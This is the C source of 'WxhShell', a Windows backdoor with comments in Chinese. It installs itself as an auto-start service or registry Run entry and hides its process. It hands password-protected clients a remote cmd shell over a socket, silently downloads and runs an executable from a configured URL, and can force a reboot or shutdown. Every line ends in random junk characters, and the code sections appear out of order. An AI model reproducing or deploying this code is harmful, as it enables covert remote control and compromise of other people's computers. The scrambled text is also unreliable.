    if(Boot(SHUTDOWN)) ZYW=#df R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b~;+E#[*  
    else { a U*cwR  
    closesocket(wsh); Yyh X%S%  
    ExitThread(0); ;fDs9=3#  
    } U@?Ro enn  
    break; D(S^g+rd  
    } hz+x)M`Y  
  // 获取shell OGO4~Up  
  case 's': { $5l=&  
    CmdShell(wsh); T%:W6fH7  
    closesocket(wsh); r(qU~re'  
    ExitThread(0); V-iY2YiR  
    break; :-.bXOB(  
  } uod&'g{N  
  // 退出 {#1}YGpiVM  
  case 'x': { ZA4vQDW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n.xW"omN  
    CloseIt(wsh); ?g'? Ou  
    break; *9Nq^+  
    } Yf(QU`w_  
  // 离开 Go_~8w0<  
  case 'q': { )Wm:Ilq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DbkKmv&  
    closesocket(wsh); %,*{hhfu  
    WSACleanup(); 2V#(1Hc!  
    exit(1); . ),m7"u|  
    break; _gF )aE  
        } Dx27s  
  } f?A*g$v  
  } i/U HDqZ  
Ik4U+'z6  
  // 提示信息 &<sDbN S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j!P]xl0vOZ  
} H6XlSj  
  } )W/ mt[;  
V"@]PI pr  
  return; (a i&v  
} vN%SN>=L<  
(-(sBQa+  
// shell模块句柄 #Hr>KQ5mJQ  
int CmdShell(SOCKET sock) ZK@ENfG  
{ poYO  
STARTUPINFO si; <OEu 4,~:  
ZeroMemory(&si,sizeof(si)); ?8Hr 9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !8U\GR `  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .pOTIRbA  
PROCESS_INFORMATION ProcessInfo; ^i^/d#  
char cmdline[]="cmd"; 0Y9\,y_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Iw$7f kq  
  return 0; V1j5jjck  
} qJN2\e2~f  
/r Hd9^Y  
// 自身启动模式 Hb;#aXHSd  
int StartFromService(void) *.J)7~(P  
{ #yk m  
typedef struct IOsitMOX:  
{ +idj,J|  
  DWORD ExitStatus; *s9 +  
  DWORD PebBaseAddress; s^b2H !~  
  DWORD AffinityMask; <O cD[5  
  DWORD BasePriority; O&?i8XsB  
  ULONG UniqueProcessId; O#E]a<N`  
  ULONG InheritedFromUniqueProcessId; /K"koV;  
}   PROCESS_BASIC_INFORMATION; d[5?P?h')  
/JfRy%31  
PROCNTQSIP NtQueryInformationProcess; G.,dP +i  
:.IVf Zw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VMUK|pC4 K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %_!YonRY|X  
SAt{At  
  HANDLE             hProcess; fKMbOqU_  
  PROCESS_BASIC_INFORMATION pbi; VSCOuNSc  
nTweQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &JM|u ww?1  
  if(NULL == hInst ) return 0; LuB-9[^<  
/,z4tf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R*D0A@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &oTUj'$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); geL)v7t+#  
<3iL5}  
  if (!NtQueryInformationProcess) return 0; #$QC2;/)F  
>v9 ("  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k"V| f&  
  if(!hProcess) return 0; lUd/^u`  
Ms.1RCup  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `)FSJV1  
"]81+ D  
  CloseHandle(hProcess); HgP9evz,0  
t3.;W/0_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aCe<*;b@  
if(hProcess==NULL) return 0; O<Rm9tZ8  
W|oLS  
HMODULE hMod; (7G5y7wI"  
char procName[255]; y1!c:&  
unsigned long cbNeeded; {i)k#`  
t8,s]I&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~*9 vn Z@  
v_PhJKE  
  CloseHandle(hProcess); %:2<'s2Si  
z!quA7s<]  
if(strstr(procName,"services")) return 1; // 以服务启动 EM+#h'%-  
L<encPJt  
  return 0; // 注册表启动 7yLO<o?9w  
} j_VTa/  
xJ)hGPrAl  
// 主模块 mr]IxTv  
int StartWxhshell(LPSTR lpCmdLine) ({g7{tUy^H  
{ ;#G)([  
  SOCKET wsl; A>8uLO G}  
BOOL val=TRUE; .olDmFQD  
  int port=0; TOp|Qtn  
  struct sockaddr_in door; Q<.84 7 )  
b/:&iG;  
  if(wscfg.ws_autoins) Install(); x,a(O@  
)2KQZMtgm]  
port=atoi(lpCmdLine); | -l)$i@  
%Ji@\|Zkf  
if(port<=0) port=wscfg.ws_port; 8|uFW7Q  
^T83E}  
  WSADATA data; ?'_E$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =^m,|j|d>4  
&o>ctf.x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Y'@|xf*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JyY-@GF  
  door.sin_family = AF_INET; Mvq5s+.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M}E0Msq_o  
  door.sin_port = htons(port); A` x_M!m  
SR@yG:~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6\ g-KO  
closesocket(wsl); 2`qO'V3Q  
return 1; Zb<IZ)i#1  
} |X/ QSL  
kYBy\  
  if(listen(wsl,2) == INVALID_SOCKET) { t(YrF,  
closesocket(wsl); j^ VAA\  
return 1; $gU6=vN1#  
}  ~{7/v  
  Wxhshell(wsl); kZXsL  
  WSACleanup(); s*<\ mwB  
kXGJZ$  
return 0; 1Uzsw  
>6ul\xMU  
} &L[oQni];2  
],l w  
// 以NT服务方式启动 x#ub % t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iq_y80g`8h  
{ EY=`/~|c  
DWORD   status = 0; @giJ&3S,  
  DWORD   specificError = 0xfffffff; t .*z)N  
 B@Acm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z DDvXz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f$Fa*O-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cn1UFmT  
  serviceStatus.dwWin32ExitCode     = 0; -I-u.!  
  serviceStatus.dwServiceSpecificExitCode = 0; 7p'L(dq  
  serviceStatus.dwCheckPoint       = 0; 7'g'qUW+~  
  serviceStatus.dwWaitHint       = 0; by z2u  
S&]AIG)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wy{xTLXk2  
  if (hServiceStatusHandle==0) return; d7 )&Z:  
tW4|\-E"s4  
status = GetLastError(); PMER~}^  
  if (status!=NO_ERROR) %c[Q_  
{ 7#K%Bo2pG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wLyQ <[$  
    serviceStatus.dwCheckPoint       = 0; >*#clf;@p  
    serviceStatus.dwWaitHint       = 0; WqX#T  
    serviceStatus.dwWin32ExitCode     = status; i7g+8 zd8d  
    serviceStatus.dwServiceSpecificExitCode = specificError; %Q9 iR5?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NV 6kj=r  
    return; 8YNii-pl  
  } X=O}k&  
/5 rWcX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tmM8YN|  
  serviceStatus.dwCheckPoint       = 0; gd~# uR\  
  serviceStatus.dwWaitHint       = 0; zrD];DP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &?\'Z~B4  
} ^MJTlRUb  
1<Fh aK  
// 处理NT服务事件,比如:启动、停止 hs'J'~a  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  wfr+-  
{ NHKIZx8sR  
switch(fdwControl) kkfwICBI  
{ Q2[@yRY/z  
case SERVICE_CONTROL_STOP: "Uy==~  
  serviceStatus.dwWin32ExitCode = 0; cR.[4rG'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '\yp}r'u  
  serviceStatus.dwCheckPoint   = 0; 0Y7b$~n'Y  
  serviceStatus.dwWaitHint     = 0; {=]1]IWt  
  { ub^v ,S8O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3m1]Ia -9  
  } (x7AV$N  
  return; P} =eR  
case SERVICE_CONTROL_PAUSE: |)'gQvDM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q}Wd`>VDR  
  break; QIl![%  
case SERVICE_CONTROL_CONTINUE: '^Kmfc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uM3F[p%V^  
  break; 4Y>v+N^  
case SERVICE_CONTROL_INTERROGATE: xsjJ8>G  
  break; .O9 A[s<  
}; 2K/+6t}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wl3jbupu _  
} ISo{>@a-  
5X^bvW26  
// 标准应用程序主函数 .eQIU$Kw!O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V&)lS Qw  
{ +QS7F`O  
B-63IN  
// 获取操作系统版本 &mebpEHUG7  
OsIsNt=GetOsVer(); ppcuMcR{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Op] L#<&T  
wm@ />X  
  // 从命令行安装 1S !<D)n  
  if(strpbrk(lpCmdLine,"iI")) Install(); hR;J#w  
@)0-oa,u+  
  // 下载执行文件 q7id?F}3&  
if(wscfg.ws_downexe) { I{Pny/d`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mG,%f"b0  
  WinExec(wscfg.ws_filenam,SW_HIDE); &=SP"@D  
} -OLXRc=  
v@OyB7}  
if(!OsIsNt) { lNV%R(  
// 如果时win9x,隐藏进程并且设置为注册表启动 MZ_+doN  
HideProc(); [E_+fT  
StartWxhshell(lpCmdLine); ~r~~0|=  
} qK ,mG {  
else ~i)O^CKq  
  if(StartFromService()) k&\YfE3*  
  // 以服务方式启动 UloZo? e`  
  StartServiceCtrlDispatcher(DispatchTable); }NQx2k0  
else l@}BWSx&ms  
  // 普通方式启动 !6:q#B*  
  StartWxhshell(lpCmdLine); -BWkPq!  
!A>VzW  
return 0; p^_E7k<ag  
} [oOA@  
#A|~s;s>N  
j\w>}Pc  
)3i}(h0  
=========================================== I0\}S [+ H  
I+ipTeB^  
QiU!;!s  
"Fv6u]Rv  
Q>gU(  
B"O5P>  
" FrSeR9b  
[ e4)"A"  
#include <stdio.h> !x9j~D'C`  
#include <string.h> wEK@B&DV  
#include <windows.h> ^'8T9N@U  
#include <winsock2.h> [,_M@g3  
#include <winsvc.h> :j/PtNT@  
#include <urlmon.h> C7=Q!UK`\  
M4a- +T"  
#pragma comment (lib, "Ws2_32.lib") K7&A^$`  
#pragma comment (lib, "urlmon.lib") xN t  
tMaJ; 4  
#define MAX_USER   100 // 最大客户端连接数 lu @#)  
#define BUF_SOCK   200 // sock buffer H~~I6D{8  
#define KEY_BUFF   255 // 输入 buffer Ty]/F+{  
UV>^[/^O  
#define REBOOT     0   // 重启 #&\hgsw/T  
#define SHUTDOWN   1   // 关机 tK&.0)*=  
Z-m,~Hh  
#define DEF_PORT   5000 // 监听端口 SM:SxhrGt  
[woR9azC  
#define REG_LEN     16   // 注册表键长度 0y4z`rzTn  
#define SVC_LEN     80   // NT服务名长度 zE V J  
8uME6]m i  
// 从dll定义API @URLFMFi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lj"L Q(^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P=& Je?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?U0iHg{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x q93>Hs  
1Oo^  
// wxhshell配置信息 `+b>@2D_  
struct WSCFG { +j5u[X  
  int ws_port;         // 监听端口 &?3?8Q\  
  char ws_passstr[REG_LEN]; // 口令 EmNB}\IYU  
  int ws_autoins;       // 安装标记, 1=yes 0=no +P6#7.p`Z  
  char ws_regname[REG_LEN]; // 注册表键名 R<mLG $  
  char ws_svcname[REG_LEN]; // 服务名 WfVkewuPo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iL1.R+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /2oTqEqaV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vCwDE~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?,r bD 1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xJ9_#$ngeM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 96F:%|yG  
S=lA^#'UdX  
}; . iq.H  
[Dq7mqr$  
// default Wxhshell configuration U'LO;s04m  
struct WSCFG wscfg={DEF_PORT,  >p!d(J?  
    "xuhuanlingzhe", (H9%a-3  
    1, ( DwIAO/S  
    "Wxhshell", q{f%U.  
    "Wxhshell", bIizh8d?  
            "WxhShell Service", > 3 JU  
    "Wrsky Windows CmdShell Service", *Kt7"J  
    "Please Input Your Password: ", uqZLlP#&#  
  1, bl\44VK2'  
  "http://www.wrsky.com/wxhshell.exe", xtjTU;T  
  "Wxhshell.exe" 9Q :IgY?T  
    }; o]#Q6J  
!mL,Ue3/  
// 消息定义模块 t; n6Q0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \E.t=XBn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e%G- +6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~0?p @8  
char *msg_ws_ext="\n\rExit."; S$]:3  
char *msg_ws_end="\n\rQuit."; L4sN)EI  
char *msg_ws_boot="\n\rReboot..."; h_]3L/  
char *msg_ws_poff="\n\rShutdown..."; 6K P!o  
char *msg_ws_down="\n\rSave to "; 5S7`gN.  
+MZO%4  
char *msg_ws_err="\n\rErr!"; c^Jgr(Ow  
char *msg_ws_ok="\n\rOK!"; wDSUMB<?  
@JEmybu  
char ExeFile[MAX_PATH]; _S2^;n?  
int nUser = 0; O^Vy"8Ji}y  
HANDLE handles[MAX_USER]; M`P]cX)x  
int OsIsNt; Z 'NbHwW}  
@xm~T|[7  
SERVICE_STATUS       serviceStatus; "qTC(F9N$.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q 95  
P%`R7yk  
// 函数声明 \678Nx  
int Install(void); ^q&wITGI  
int Uninstall(void); '<D`:srV  
int DownloadFile(char *sURL, SOCKET wsh); gn W~KLqH  
int Boot(int flag); {QS@Ugf  
void HideProc(void); 5uV"g5?w  
int GetOsVer(void); UW/3{2  
int Wxhshell(SOCKET wsl); aY[0A_  
void TalkWithClient(void *cs); \8*,&ak%  
int CmdShell(SOCKET sock); 8<-oJs_o+  
int StartFromService(void); JNFT6T)T15  
int StartWxhshell(LPSTR lpCmdLine); a^XTW7]r  
d0A\#H_&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C*s0r;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &&9c&xgzE  
3 2 1={\X  
// 数据结构和表定义 c_z/At;4  
SERVICE_TABLE_ENTRY DispatchTable[] = ?]\W8)  
{ cUZ!;*  
{wscfg.ws_svcname, NTServiceMain}, bmO__1  
{NULL, NULL} 3KG)6)1*  
}; 4ljvoJ}xjr  
]\a\6&R  
// 自我安装 \buZ?  
int Install(void) 1>@]@ST[:  
{ 38U5^`  
  char svExeFile[MAX_PATH]; 2u~c/JryN  
  HKEY key; Xrj(,|  
  strcpy(svExeFile,ExeFile); CFBUQMl >  
GIC"-l1\  
// 如果是win9x系统,修改注册表设为自启动 2-6.r_  
if(!OsIsNt) { xV,4U/ T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c#n4zdQd]5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /+4^.Q*  
  RegCloseKey(key); FU5LY XCs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z9"{f)T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \2R`q*a+  
  RegCloseKey(key); 4h;f>BG  
  return 0; {V%%^Zhwy  
    } Q+N7:o!;<b  
  } y#Mc4?  
} Pu$kj"|q*[  
else { *CH!<VB/  
5y(t`Fmt  
// 如果是NT以上系统,安装为系统服务 d(X\B{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K#l  -?  
if (schSCManager!=0) 5DkK'tCI9Z  
{ . QQ?w  
  SC_HANDLE schService = CreateService zL)1^[%O9  
  ( lTV@b&  
  schSCManager, o5=)~D{/G3  
  wscfg.ws_svcname, NoJnchiU  
  wscfg.ws_svcdisp, uG=t?C6  
  SERVICE_ALL_ACCESS, ^ J#?hHz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3 ^02fy  
  SERVICE_AUTO_START, +QIGR'3u  
  SERVICE_ERROR_NORMAL, ;z.6'EYMG  
  svExeFile, yfM>8"h@  
  NULL, `'xQ6Sy  
  NULL, B?$01?9V  
  NULL, yD3bl%uZ  
  NULL, ,30FGz^i  
  NULL #.E\,N'  
  ); B_SZ?o  
  if (schService!=0) ldAov\X  
  { )g9)IF  
  CloseServiceHandle(schService); $PatHY@h  
  CloseServiceHandle(schSCManager); 'w`SBYQ5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~t{D5#LVHa  
  strcat(svExeFile,wscfg.ws_svcname); 9{)Z5%Kz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c$,c`H(~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [Krm .)  
  RegCloseKey(key); t4f (Y,v  
  return 0; zB#_:(1qK  
    } LyuSZa]  
  } >W`S(a Mn  
  CloseServiceHandle(schSCManager); 6CcB-@n4  
} '[>\N4WD  
} 0kU3my]  
o,S!RG&  
return 1; DO7- =74=  
} /*u#Ba<<  
yxaT7Oqh%  
// 自我卸载 <X:Ud&\  
int Uninstall(void) E fP>O  
{ 6 WA|'|}=  
  HKEY key; 1.Haf  
t{/:(Nu  
if(!OsIsNt) { B;xZ% M]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iEiu%T>  
  RegDeleteValue(key,wscfg.ws_regname); W<\kf4Y  
  RegCloseKey(key); r+t ,J|V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |rr$U  
  RegDeleteValue(key,wscfg.ws_regname); snXB`U C  
  RegCloseKey(key); 5z1\#" B[  
  return 0; A#v|@sul  
  } q%OcLZ<,  
} 4 t&gW  
} FjD,8^SQW  
else { 0n4g $JK7  
x`]Of r'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +<pVf%u5  
if (schSCManager!=0) nGq]$h  
{ Ef2Y l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y]yine  
  if (schService!=0) jMN)?6$=  
  { y=[gQJ6~r  
  if(DeleteService(schService)!=0) { lq:]`l,6@  
  CloseServiceHandle(schService); Sp 7u_Pq{  
  CloseServiceHandle(schSCManager); /Jh1rck  
  return 0; $T"h";M)s  
  } Ap11b|v  
  CloseServiceHandle(schService); GxYW4b  
  } \:]DFZ=!  
  CloseServiceHandle(schSCManager); <_"B}c/2$  
} Gx.P ]O3  
} O4m(Er@a  
L/Hv4={  
return 1; "/Y<G  
} "Z;~Y=hC13  
J6*f Uh  
// 从指定url下载文件 q}#iV$dAj  
int DownloadFile(char *sURL, SOCKET wsh) |:./hdcad  
{ Xl#Dw bx  
  HRESULT hr; Wu4ot0SZ  
char seps[]= "/"; 25aNC;J  
char *token; d2RnQA  
char *file; MMMqG`Px  
char myURL[MAX_PATH]; 5,S,\O9>X  
char myFILE[MAX_PATH]; r)gCTV(kb  
hdo&\Q2D8  
strcpy(myURL,sURL); ^`tk/#h\9F  
  token=strtok(myURL,seps); >eQbipn  
  while(token!=NULL) *3;UAfHv  
  { T |37#*c  
    file=token; T36x=LX  
  token=strtok(NULL,seps); 8QT<M]N%  
  } St6aYK  
C`dkD0_  
GetCurrentDirectory(MAX_PATH,myFILE);  ( :  
strcat(myFILE, "\\"); B9YsA?hg  
strcat(myFILE, file);  BY3bpR  
  send(wsh,myFILE,strlen(myFILE),0); {1jpLdCbV^  
send(wsh,"...",3,0); q^5yk=2fq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :d.1;st  
  if(hr==S_OK) <O.Kqk* nq  
return 0; doBNghS  
else Ski G2n]  
return 1; 4avc=Y5  
:-)GNf yGz  
} `3J' :Vh  
gc##V]OD  
// 系统电源模块 Hk@r5<{  
int Boot(int flag) PkTf JQP8  
{ b6|Z"{TI _  
  HANDLE hToken; &M[MEO`t8  
  TOKEN_PRIVILEGES tkp; )Nbc/nB$  
_mXs4  
  if(OsIsNt) { %4,xx'`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e8oKn&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f e|g3>/|  
    tkp.PrivilegeCount = 1; flP>@i:e6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zDB" r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dXl]Pe|v  
if(flag==REBOOT) { |k6Ox*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Axlm<3<wf"  
  return 0; IK'F{QPH  
} Y.>kO  
else { dByjcTPA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \QGa 4_#  
  return 0; wFvT0  
} Cc!J1)  
  } s O=4IBE  
  else { HMV)U{  
if(flag==REBOOT) { :N2E}hxk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P[FV2R~  
  return 0; l xe`u}[  
} 3htq[Ren  
else {  it)ZP H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \]8VwsP  
  return 0; !{(ls<  
} `a >?UUT4  
} +%XnMl  
]boE{R!I  
return 1; L6+C]t}>6  
} yAG+] r  
C',6%6P  
// win9x进程隐藏模块 [/cIUQ  
void HideProc(void) 0Gsu  
{ i6Qb[\;  
(9]6bd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zT7"VbP  
  if ( hKernel != NULL ) (~&w-w3  
  {  <B )   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \lEkfcc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zb:kanb-  
    FreeLibrary(hKernel); =We2^W-{  
  } hm\\'_u  
u]E.iXp  
return; t`YWwI.  
} =u=Kw R  
qnJ50 VVW  
// 获取操作系统版本 Uyk,.*8"  
int GetOsVer(void) BSgTde|3y  
{ =((yWn+t  
  OSVERSIONINFO winfo; OPuj|%Wgw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OxQYNi2  
  GetVersionEx(&winfo); 6\n?4 8x}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zTY;8r+  
  return 1; mj2Pk,,SA  
  else Nqc p1J"  
  return 0; z)}!e,7  
} 9i=B  
? %(spV  
// 客户端句柄模块 }G'XkoI&  
int Wxhshell(SOCKET wsl) ubbnFE&PD  
{ G;s"h%Xw98  
  SOCKET wsh; NiA4JgM]v  
  struct sockaddr_in client; :, _!pe;H  
  DWORD myID; TQc@lR!  
xS8,W  
  while(nUser<MAX_USER) _TUm$#@Y`  
{ sbnjy"Z%  
  int nSize=sizeof(client); }pawIf4V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T SjI z5  
  if(wsh==INVALID_SOCKET) return 1; g jxS  
qTM%G-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); | -+zofx  
if(handles[nUser]==0) "IFg RaP=  
  closesocket(wsh); /t5p-  
else ]Blf9h7  
  nUser++; F*` t"7Lm  
  } &| !B!eOY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iZxt/}1X0  
exZLj0kvF  
  return 0; LZ<[ll#C  
} ~3CVxbB^<  
IQnIaZ  
// 关闭 socket z9DcnAs  
void CloseIt(SOCKET wsh) x2W#ROfg  
{ $1Z6\G O  
closesocket(wsh); Y#HI;Y^RP  
nUser--; D4Etl5k  
ExitThread(0); (=c1  
} h@1!T  
<)U4Xz?  
// 客户端请求句柄 5 1dSFr<#  
void TalkWithClient(void *cs) (D7$$!}  
{ #;Tz[0  
4W;S=#1  
  SOCKET wsh=(SOCKET)cs; (Rd$VYuf  
  char pwd[SVC_LEN]; gzdG6"  
  char cmd[KEY_BUFF]; obo&1Uv,/  
char chr[1]; 80;n|nNB  
int i,j; FTf<c0  
P^)q=A8Z#  
  while (nUser < MAX_USER) { jc:s` 4  
?*u*de[,  
if(wscfg.ws_passstr) { S6D^3n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +L%IG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }]6f+  
  //ZeroMemory(pwd,KEY_BUFF); f p[,C1U  
      i=0; qCPmbg  
  while(i<SVC_LEN) { rHz||jjU  
M 2q"dz   
  // 设置超时 %,UPJn  
  fd_set FdRead; Vf $Dnu@}z  
  struct timeval TimeOut; T .n4TmF  
  FD_ZERO(&FdRead); 1^G{tlA-  
  FD_SET(wsh,&FdRead); ynwG\V  
  TimeOut.tv_sec=8; rs;r $  
  TimeOut.tv_usec=0;  P_Hv%g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #hw>tA6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d~9!,6XM  
0 n vSvk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1G^#q,%X_v  
  pwd=chr[0]; Um.qRZ?  
  if(chr[0]==0xd || chr[0]==0xa) { ae+*=,  
  pwd=0; yj_4gxJ\  
  break; w_wslN,)  
  } n<7q`tM#  
  i++; v)X\GmW7w  
    } W+=o&V  
q(IQa@$SR  
  // 如果是非法用户,关闭 socket H/fUM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]$b2a&r9  
} @It>*B yB.  
#,NvO!j<4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #& ?g %'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jkt4@h2Q}  
6iA( o*'Yn  
while(1) { =O$M_1lp  
kG0Yh2;#  
  ZeroMemory(cmd,KEY_BUFF); c&nh>oN  
p&b5% 4P  
      // 自动支持客户端 telnet标准   PnYBy| yl  
  j=0; H17-/|-;0!  
  while(j<KEY_BUFF) { 7'lZg<z{~j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2kh"8oQ  
  cmd[j]=chr[0]; m#7*:i&@Y  
  if(chr[0]==0xa || chr[0]==0xd) { }6u2*(TmD  
  cmd[j]=0; Ea $aUORm  
  break; (eWPis[  
  } 23]Y<->Eu<  
  j++; OF U/gaO~  
    } Rl~T$ Ey  
60>.ul2  
  // 下载文件 Vu8,(A7D%O  
  if(strstr(cmd,"http://")) { EcL-V>U# M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]d}0l6  
  if(DownloadFile(cmd,wsh)) 9pKGr@&   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jeUUa-zR3  
  else Wr?'$:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b;cMl'  
  } 5 `/< v^  
  else { *# {z3{+  
R:aa+MX(1  
    switch(cmd[0]) { V^s0fWa  
  Di.3113t  
  // 帮助 Xd `vDgD  
  case '?': { WYcA8 X/  
